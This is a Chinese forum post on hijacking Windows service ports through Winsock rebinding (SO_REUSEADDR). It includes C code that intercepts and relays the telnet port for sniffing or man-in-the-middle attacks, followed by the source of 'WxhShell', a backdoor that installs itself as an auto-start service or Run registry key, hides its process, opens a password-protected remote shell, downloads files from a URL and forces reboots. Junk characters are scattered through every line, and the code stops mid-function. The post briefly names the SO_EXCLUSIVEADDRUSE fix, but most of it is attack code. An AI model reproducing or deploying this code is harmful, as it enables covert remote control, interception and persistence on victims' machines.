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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .@Ut?G  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); N8`?t5  
jp' K%P  
  saddr.sin_family = AF_INET; 2DD:~Tbi  
7hy&-<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); #P#-xz  
b|z g<  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ! Q<>3 xZ  
"7>>I D  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 m?HZ;  
7=]i~7uy  
  这意味着什么?意味着可以进行如下的攻击: flgRpXt  
+\Q?w?DE|  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 m*X[ Jtr  
<}6{{&mT4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &_5tqh  
1c+]gIe  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _lW+>xQ  
!EQ@#qW/  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  y0~Ia:y  
1}ZKc=Pfu  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `pd&se'p  
Yl;^ k0ZI  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 w;v7_  
}IEb yb  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 G;3~2^lB\  
#y|V|nd  
  #include ?[x49Ux,P  
  #include rw)kAe31  
  #include v+"rZ  
  #include    '&;yT[  
  DWORD WINAPI ClientThread(LPVOID lpParam);   !6&W,0<  
  int main() | nJZie8m  
  { qNyzU@  
  WORD wVersionRequested; /WPv\L  
  DWORD ret; L}#0I+Ml7  
  WSADATA wsaData; )rLMIk  
  BOOL val; u9=SpgB#  
  SOCKADDR_IN saddr; G#Ou[*O'  
  SOCKADDR_IN scaddr; t?nX=i*~]  
  int err; |lH;Fq{\  
  SOCKET s; !QmzrX}h  
  SOCKET sc; 63?)K s  
  int caddsize; @5) 8L/[l  
  HANDLE mt; xyr+_k-x&q  
  DWORD tid;   J/);"bg_O  
  wVersionRequested = MAKEWORD( 2, 2 ); d7Ur$K\=y  
  err = WSAStartup( wVersionRequested, &wsaData ); FZiW|G  
  if ( err != 0 ) { A|}l)!%  
  printf("error!WSAStartup failed!\n"); )Z+{|^`kJ  
  return -1; V Cy5JH  
  } clI*7j.4E#  
  saddr.sin_family = AF_INET; h;lirvO|  
   ;DnUQj  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 G= ^X1+_  
>Q,zNs  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ECa$vvK m  
  saddr.sin_port = htons(23); 9s +z B  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -VDo[Zy  
  { nxQ?bk}*d  
  printf("error!socket failed!\n"); ZWV|# c<G  
  return -1; mYB`)M*Y  
  } @+U,Nzd  
  val = TRUE; @&1Wy p  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 6pE :A@  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^0W(hA  
  { !S%6Uzsj  
  printf("error!setsockopt failed!\n"); &p<(_|Af  
  return -1; :PbDU$x  
  } Wi n8LOC  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0%s|Zbo!>  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 &$`hQgi  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {+zJI-XN/  
URcR  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Uh.Zi3X6}6  
  { !k$}Kj)I  
  ret=GetLastError(); y%]8'q$  
  printf("error!bind failed!\n"); H]<]^Zmjy  
  return -1; (UNtRz'=;  
  } gJ2 H=#M  
  listen(s,2); } wSi~^*  
  while(1) tNs~M4TVVH  
  {  &K^MN d  
  caddsize = sizeof(scaddr); ?(KvQK|d4  
  //接受连接请求 3HyhEVR-#~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); O\;=V`z-  
  if(sc!=INVALID_SOCKET) AV&yoag1  
  { F)$K  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); wN37zPnV~  
  if(mt==NULL) 5TBI<K  
  { WKA'=,`v  
  printf("Thread Creat Failed!\n");  H'RL62!  
  break; 6*GjP ;S =  
  } VS?@y/\In  
  } ]6tkEyuq  
  CloseHandle(mt); t qOi x/  
  } 4aZCFdc  
  closesocket(s); g( 0;[#@  
  WSACleanup(); )He#K+[}^4  
  return 0; fm1X1T.  
  }   dw@E)  
  DWORD WINAPI ClientThread(LPVOID lpParam) qUhRu>   
  { . ,NB( s`  
  SOCKET ss = (SOCKET)lpParam; +-068k(  
  SOCKET sc; ;~HNpu$  
  unsigned char buf[4096]; 1H:ea7YVU  
  SOCKADDR_IN saddr; 'Tb0-1S?  
  long num; c-XLI  
  DWORD val; 71B3a  
  DWORD ret; YTY%#"  
  //如果是隐藏端口应用的话,可以在此处加一些判断 4YbC(f  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ZofHi c  
  saddr.sin_family = AF_INET; U2*6}c<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `0BdMKjA  
  saddr.sin_port = htons(23); SA6hbcYk  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) FyD.>ot7M  
  { @%i>XAe#0  
  printf("error!socket failed!\n"); &yH#s 8^8  
  return -1; nR5bs;gk"  
  } ]>:^d%n,}  
  val = 100; ;np_%?is  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i%(yk#=V  
  { `rWB`q|i<  
  ret = GetLastError(); CKARg8o  
  return -1; MM#cLw  
  } ` DCU>bt&R  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #dJ 2Q_2  
  { _=`x])mM  
  ret = GetLastError(); AvRcS]@=  
  return -1; Pw}_[[>$  
  } y[HQBv  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *)VAaGUX>  
  { 7{BnXN[  
  printf("error!socket connect failed!\n"); 7#4%\f+'t  
  closesocket(sc); "!&B4  
  closesocket(ss); 0*(K DDv  
  return -1; MUof=EJg>u  
  } ZW ye> ]  
  while(1) 2o{@nN8%  
  { %= u/3b:o  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 P!+v:'P5f  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 okBE|g  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 gn5% F5W  
  num = recv(ss,buf,4096,0); =Q?f96T  
  if(num>0) | 1V2tx  
  send(sc,buf,num,0); oXc/#{NC  
  else if(num==0) j8 H Oc(  
  break; [%.18FWI  
  num = recv(sc,buf,4096,0); nlfPg-78B+  
  if(num>0) 4UCwT1  
  send(ss,buf,num,0); NM L|"R;  
  else if(num==0) DA <ynBQ  
  break; n85r^W  
  } PKtU:Eg  
  closesocket(ss); Z*bC#s?  
  closesocket(sc); GAU!_M5N  
  return 0 ; yKDZ+3xK]  
  } sMi{"`37  
8$ DwpJ  
ce5nG0@#  
========================================================== oa0X5}D  
,RK3eQ  
下边附上一个代码,,WXhSHELL ?vu|o'$T,  
$Xt;A&l2?  
========================================================== A^pW]r=Xtk  
u(9X  
#include "stdafx.h" UD*+"~  
>~&(P_<b  
#include <stdio.h> xYT}>#[  
#include <string.h> 3_J>y  
#include <windows.h> e{t=>vry  
#include <winsock2.h> WFh@%j  
#include <winsvc.h> `` -k{C#F  
#include <urlmon.h> $r"A@69^RS  
2Guvze_bU  
#pragma comment (lib, "Ws2_32.lib") <|JU(B  
#pragma comment (lib, "urlmon.lib") A70(W{6a9@  
_<u;4RO(s  
#define MAX_USER   100 // 最大客户端连接数 ,Oi^ySn  
#define BUF_SOCK   200 // sock buffer .YiaXP  
#define KEY_BUFF   255 // 输入 buffer 5+FLSk  
56ZrCr  
#define REBOOT     0   // 重启 jM\ %$_/  
#define SHUTDOWN   1   // 关机 no3Z\@%  
cj^bh  
#define DEF_PORT   5000 // 监听端口 &|z|SY]DL  
%]GV+!3S  
#define REG_LEN     16   // 注册表键长度 )OUU]MUH  
#define SVC_LEN     80   // NT服务名长度 c!~T2t  
c(:Oyba  
// 从dll定义API b]K>vhQV  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $`Rxn*}V4#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #7C6yXb%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V2QW\2@$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); BvI 0v:  
/hfUPO5  
// wxhshell配置信息 wi BuEaUkW  
struct WSCFG { fM9xy \.  
  int ws_port;         // 监听端口 \>;%Ji  
  char ws_passstr[REG_LEN]; // 口令 &E]"c]i+  
  int ws_autoins;       // 安装标记, 1=yes 0=no <{ # <5 8  
  char ws_regname[REG_LEN]; // 注册表键名 &NP6%}bR`  
  char ws_svcname[REG_LEN]; // 服务名 KT=a(QL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +{0=<2(EC  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5*XH6g F  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f\=6I3z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Cg*kN"8q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]0YDb~UB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9/Wn!Ld  
hOn  
}; U2=hSzY  
ax]9QrA  
// default Wxhshell configuration  0/*X=5  
struct WSCFG wscfg={DEF_PORT, q06@SD$   
    "xuhuanlingzhe", 4%>+Wh[  
    1, 43F^J%G  
    "Wxhshell", :P"9;$FY  
    "Wxhshell", :1NYpsd.i  
            "WxhShell Service", DZ%8 |PmB  
    "Wrsky Windows CmdShell Service", 5IO3 %p?  
    "Please Input Your Password: ", mVHFT~x7}  
  1, .Map   
  "http://www.wrsky.com/wxhshell.exe", I2W{t l  
  "Wxhshell.exe" :^.u-bHI  
    }; b8e*Pv/  
CL )%p"[x  
// 消息定义模块 _Ua PwJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; XJ _%!  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ZgK@Fl*k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tB !|p6  
char *msg_ws_ext="\n\rExit."; G-s a L*  
char *msg_ws_end="\n\rQuit."; cY^Y!.,  
char *msg_ws_boot="\n\rReboot..."; JQr36U  
char *msg_ws_poff="\n\rShutdown..."; ]ci RiMkT(  
char *msg_ws_down="\n\rSave to "; Jb 6&  
H'']J9O  
char *msg_ws_err="\n\rErr!"; Mi;Tn;3er  
char *msg_ws_ok="\n\rOK!"; :g/{(#E@Z  
>7W"giWP  
char ExeFile[MAX_PATH]; 2t.fD@  
int nUser = 0; .$OjUlzr-H  
HANDLE handles[MAX_USER]; 5 5a@)>h  
int OsIsNt; + p'\(Z(  
 rA2qV  
SERVICE_STATUS       serviceStatus; i'9e K O  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fA;x{0CAMX  
m9uUDq#GJ  
// 函数声明 sgR 9d  
int Install(void); zEAx:6`c  
int Uninstall(void); : qr} M  
int DownloadFile(char *sURL, SOCKET wsh); @!Y.935/0  
int Boot(int flag); sAf9rZt*'  
void HideProc(void); ]KzJ u`O%G  
int GetOsVer(void); Mru~<:9  
int Wxhshell(SOCKET wsl); -IGMl_s  
void TalkWithClient(void *cs); &KLvr|  
int CmdShell(SOCKET sock); mJ/^BT]  
int StartFromService(void); @i\7k(9:A  
int StartWxhshell(LPSTR lpCmdLine); P%ye$SASd  
yM W'-\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); '\4c "Ho  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n2H&t>N  
;k-g _{M  
// 数据结构和表定义 }D(DU5r  
SERVICE_TABLE_ENTRY DispatchTable[] = uTxX`vH@!  
{ s-fKh`  
{wscfg.ws_svcname, NTServiceMain}, wbo{JQ  
{NULL, NULL} F1zT )wW  
}; 3@%BA(M  
hwc:@'  
// 自我安装 1mAUEQ!  
int Install(void) Al)lWD}j2g  
{ 5Gc_LI&v7  
  char svExeFile[MAX_PATH]; F%9e@{  
  HKEY key; ik8|9m4/  
  strcpy(svExeFile,ExeFile); 9$n+-GSK  
7O]J^H+7  
// 如果是win9x系统,修改注册表设为自启动 Q=dw 6  
if(!OsIsNt) { oA5<[&~<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A3m{jbh  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q|?`Gsr  
  RegCloseKey(key); 8|fLe\"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D<lQoO+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V}j %gy`  
  RegCloseKey(key); NU BpIx&  
  return 0; 5+o 2 T]  
    } J{a Q1)  
  } tvG g@Xs\  
} xn0s`I[  
else { 't||F1X~J  
>|y>e{P  
// 如果是NT以上系统,安装为系统服务 ,ZsYXW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7g {g}  
if (schSCManager!=0) Cij$GYkv  
{ >aNbp  
  SC_HANDLE schService = CreateService |k/`WC6As.  
  ( }x{rTEq  
  schSCManager, ]t8{)r  
  wscfg.ws_svcname, sDW"j\  
  wscfg.ws_svcdisp, {Q}!NkF 1  
  SERVICE_ALL_ACCESS, U&tfl/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , yd\5Z[iEp  
  SERVICE_AUTO_START, Krt$=:m|1  
  SERVICE_ERROR_NORMAL, f>.` xC{  
  svExeFile, ^\xCqVk_R  
  NULL, FF5tPHB  
  NULL, N[- %0  
  NULL, nL "g23  
  NULL, 0[_O+u  
  NULL 9/@FADh  
  ); ~Rx~g  
  if (schService!=0) z36brv<_'p  
  { PmuEL@'^ U  
  CloseServiceHandle(schService); N` @W%  
  CloseServiceHandle(schSCManager); 7-g]A2N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $%N;d>[U,  
  strcat(svExeFile,wscfg.ws_svcname); 3sd{AkD^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9Ba%=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); JNU"5sB  
  RegCloseKey(key); [,.[gWA  
  return 0; a>-}\GXTA  
    } n23%[#,r  
  } ^K1~eb*K  
  CloseServiceHandle(schSCManager); : HQ8M*o  
} C}dKbs^g|  
} _stI?fz*4k  
G_4K+ -K  
return 1; #"3[f@|e  
} T%;k%  
+xoyKP!  
// 自我卸载 A52LH,  
int Uninstall(void) c+)36/; X  
{ kMfc"JXF  
  HKEY key; dXf]G6  
OX#eLco  
if(!OsIsNt) { o(v"?Y6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4eDmLC"Y *  
  RegDeleteValue(key,wscfg.ws_regname); `2 %eDFZ  
  RegCloseKey(key); ox i a}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gNMKGf\Y  
  RegDeleteValue(key,wscfg.ws_regname); ^?sSsH z  
  RegCloseKey(key); HM(bR"E  
  return 0; MbT ONt?~v  
  } TsFV ;Sl3  
} kx;xO>dC  
} L@d]RMNv  
else {  :V5!C$QV  
-$sl!%HO%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K#m\ qitb  
if (schSCManager!=0) [N0/">c  
{ iZDb.9@&t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JN;TGtB^p  
  if (schService!=0) :JTRRv  
  { =DmPPl{  
  if(DeleteService(schService)!=0) { IxK 3,@d  
  CloseServiceHandle(schService); |)|vG_  
  CloseServiceHandle(schSCManager); JWUv H  
  return 0; WNF=NNO-R  
  } wHo#%Y,Nmi  
  CloseServiceHandle(schService); oJ4mxi@|#  
  } nkr,  
  CloseServiceHandle(schSCManager); i"r.>X'Z  
} fmZzBZ_  
} $@ T6g  
jiw`i  
return 1; SoM ]2^  
} ya*q;D  
7Dx .;  
// 从指定url下载文件 Ue>A  
int DownloadFile(char *sURL, SOCKET wsh) ;k63RNT,M&  
{ wFoR,oXtL/  
  HRESULT hr; U# FJ8CD&u  
char seps[]= "/"; LzEE]i  
char *token; ~3*ZG  
char *file; .eDxIWW+ft  
char myURL[MAX_PATH]; rt\<nwc  
char myFILE[MAX_PATH]; l+3%%TV@L  
&a2V-|G',  
strcpy(myURL,sURL); T^=Ee?e  
  token=strtok(myURL,seps); %;"B;~  
  while(token!=NULL) b/D9P~cE  
  { 4<eJ  
    file=token; J4K|KS7   
  token=strtok(NULL,seps); Is*0?9qU  
  } ;03*qOYc  
]mJAKycE%  
GetCurrentDirectory(MAX_PATH,myFILE); W&~iO   
strcat(myFILE, "\\"); u=ds]XP@  
strcat(myFILE, file); ,uqbS  
  send(wsh,myFILE,strlen(myFILE),0); +=29y@c  
send(wsh,"...",3,0); 61eKGcjs:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [jtj~]&mO  
  if(hr==S_OK) 5  a*'N~  
return 0; Um0<I)  
else d= T9mj.@  
return 1; ]= QCCC  
+_|cZlQ&  
} H$qdU!c  
[#3Cg%V  
// 系统电源模块 q%=7<( w  
int Boot(int flag) "`1of8$X7  
{ W) Kpnb7  
  HANDLE hToken; #9W5  
  TOKEN_PRIVILEGES tkp; PUFW^"LV  
W<Vzd4hR  
  if(OsIsNt) { w]+BBGYQKb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?` ZGM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ZC\.};.  
    tkp.PrivilegeCount = 1;  "ppb%=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o4I!VK(C#s  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fb=$<0Ocj  
if(flag==REBOOT) { PB3!;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) VkP:%-*#v  
  return 0; X m:gD6;9  
} ?D$b%G{  
else { s%TO(vT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @*`UOgP7  
  return 0; |{|r? 3  
} G]3ML)l  
  } :Ro" 0/d  
  else { Iz$W3#hi  
if(flag==REBOOT) { J'Mgj$T $  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5)zh@aJ@  
  return 0; .]P;fCQmM  
} &fNE9peQFa  
else { lt(-,md  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kk\zZC <  
  return 0; 9Nbg@5(  
} TAXkfj  
} {HJ`%xN|  
3b[[2x_UU  
return 1; {pJ@I=q  
} Y| N vBr  
I9j+x ])  
// win9x进程隐藏模块 fM[fS?W  
void HideProc(void) Kd[`mkmS  
{ 8!fAv$g0  
A = Az[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @.]K6qC  
  if ( hKernel != NULL ) ", Rw%_  
  { sT"tS>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D!E 9@*Lf  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ]B.,7  
    FreeLibrary(hKernel); .gsu_N_v  
  } yLa5tv/  
"E[*rnsLN  
return; n YMf[kW  
} Cq;K,B9  
<IkD=X  
// 获取操作系统版本 rpP+20v  
int GetOsVer(void) hs#s $})}Z  
{ 0~L 8yMM  
  OSVERSIONINFO winfo; U!UX"r  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); qx CL  
  GetVersionEx(&winfo); 2dJ)4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `r0 qn'*  
  return 1; n7!Lwq2  
  else lJQl$Wx^  
  return 0; 7)It1i-  
} &\D<n; 3  
B46H@]d#7K  
// 客户端句柄模块 \]:NOmI^'  
int Wxhshell(SOCKET wsl) ghd[G}  
{ j tkPi)QR  
  SOCKET wsh; K.L+; nQ  
  struct sockaddr_in client; f%%En5e +  
  DWORD myID; ump:dL5{  
?;7>`F6ld  
  while(nUser<MAX_USER) M #Ru I%  
{  ~9jP++&  
  int nSize=sizeof(client); R#^pNJN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $A0]v!P~i-  
  if(wsh==INVALID_SOCKET) return 1; *wZV*)}  
-EIMh^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hnL gsz  
if(handles[nUser]==0) 7}7C0mV3  
  closesocket(wsh); `,]PM) iC  
else -#z'A  
  nUser++; XlcDF|?{.  
  } Evgq}3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _I"<?sh 3  
<y/AEY1  
  return 0; 0lq4   
} }@0.  
*ww(5 t  
// 关闭 socket [ #fqyg  
void CloseIt(SOCKET wsh) $<DA[ %pv  
{ FNRE_83  
closesocket(wsh); 3\~fe/z'I  
nUser--; 3T^dgWXEG  
ExitThread(0); a_MnQ@  
} fe`G^hV  
i]WlMC6  
// 客户端请求句柄 jsht2]iq3K  
void TalkWithClient(void *cs) gG>^h1_o~  
{ ?PtRb:RHt  
!{aA*E{  
  SOCKET wsh=(SOCKET)cs; 3$f5][+U  
  char pwd[SVC_LEN]; yFtf~8s3  
  char cmd[KEY_BUFF]; T:5%sN;#O  
char chr[1]; ~g|0uO}.  
int i,j; B{7/A[$%C  
&=O1Qg=K  
  while (nUser < MAX_USER) { AS^$1i:  
tce8*:rNH  
if(wscfg.ws_passstr) { mK/P4]9g  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7n]%`Yb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nM}`H'0  
  //ZeroMemory(pwd,KEY_BUFF); ;AA7wK 4  
      i=0; #mxfU>vQ:  
  while(i<SVC_LEN) { ~TIZumGB  
TmH13N]  
  // 设置超时 hds4 _  
  fd_set FdRead; A>@e pCD  
  struct timeval TimeOut; l+qtA~V&2  
  FD_ZERO(&FdRead); P&,cCR>  
  FD_SET(wsh,&FdRead); ExU|EN-  
  TimeOut.tv_sec=8; 8ngf(#_{_n  
  TimeOut.tv_usec=0; f=Y9a$.:M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;P#*R3   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [m&ZAq  
q9]L!V 9Rv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LZ dNG\-  
  pwd=chr[0]; r}Av"  
  if(chr[0]==0xd || chr[0]==0xa) { Av4E ?@R  
  pwd=0; l~c> jm8.  
  break; Qj[O$L0 $  
  } 4'| :SyOm  
  i++; 5W-M8dc6  
    } ="E V@H?U  
(ZsR=:9(  
  // 如果是非法用户,关闭 socket 1<e%)? G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >7Q7H#~w  
} > PA,72e   
6VE5C g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sUMn (@r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^C T}i'  
e:occT  
while(1) { &cE,9o%FZ  
j"8N)la  
  ZeroMemory(cmd,KEY_BUFF); izo $0  
)C6 7qY  
      // 自动支持客户端 telnet标准   9F!&y-  
  j=0; E.9k%%X]  
  while(j<KEY_BUFF) { |/Z)?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :N:8O^D^<  
  cmd[j]=chr[0]; )S?}huX  
  if(chr[0]==0xa || chr[0]==0xd) { (LPD  
  cmd[j]=0; S`.-D+.68  
  break; F\72^,0  
  } IQv>{h}  
  j++; F'*4:WD7  
    } pSUp"wch  
{m GWMv  
  // 下载文件 n/D]r  
  if(strstr(cmd,"http://")) { }Cf[nGh|B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M lwQ_5O  
  if(DownloadFile(cmd,wsh)) !-~(*tn  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9x,+G['Zt  
  else )5x?Qn(B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KHiJOeLc  
  } OO>2oH  
  else { zf u78  
*?Y6qalSy  
    switch(cmd[0]) { 5)6%D  
  +06j+I  
  // 帮助 n3,wwymQ  
  case '?': { gu&oCT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NE"fyX`  
    break; A>yIH)b  
  } w7u >|x!  
  // 安装 `$-  Ib^  
  case 'i': { )FPbE^s(  
    if(Install()) m,O !M t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cIjsUqKa  
    else DcHMiiVM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g.s oN qt=  
    break; \$"Xr  
    } H)tDfk sq\  
  // 卸载 F{tSfKy2  
  case 'r': { ~G:7*:[b  
    if(Uninstall()) cw{[B%vw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "-%H</  
    else v^'~-^s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '"^JNb^I  
    break; CXZeL 1+  
    } Ymom 0g+ f  
  // 显示 wxhshell 所在路径 _TF>c:m3  
  case 'p': { Zlo,#q  
    char svExeFile[MAX_PATH]; gZv <_0N  
    strcpy(svExeFile,"\n\r"); Hc9pWr "N  
      strcat(svExeFile,ExeFile); SGm? "esEt  
        send(wsh,svExeFile,strlen(svExeFile),0); 9_{!nQC.g  
    break; (=9&"UH  
    } c2/HY8ttRD  
  // 重启 XT"c7]X  
  case 'b': { RkzBn  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T:$_1I $  
    if(Boot(REBOOT)) 67?5Cv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G]CY3xw98  
    else { 'o L8Z  
    closesocket(wsh); qzz'v  
    ExitThread(0); M5uN1*   
    } P_U-R%f  
    break; d9"4m>ymS  
    } 4^&vRD,  
  // 关机 ev $eM  
  case 'd': { 5>Q)8` @E  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C+5nft6:  
    if(Boot(SHUTDOWN)) 9K!='u`  
